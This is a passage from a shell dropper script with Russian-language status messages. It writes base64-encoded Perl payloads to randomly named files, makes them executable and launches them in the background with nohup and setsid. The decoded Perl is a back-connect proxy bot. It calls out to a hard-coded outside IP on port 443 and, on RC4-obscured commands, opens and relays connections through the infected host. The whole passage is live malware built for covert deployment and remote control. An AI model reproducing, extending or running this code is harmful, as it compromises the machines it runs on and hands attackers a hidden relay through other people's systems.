ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #9 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #9 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 10 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf 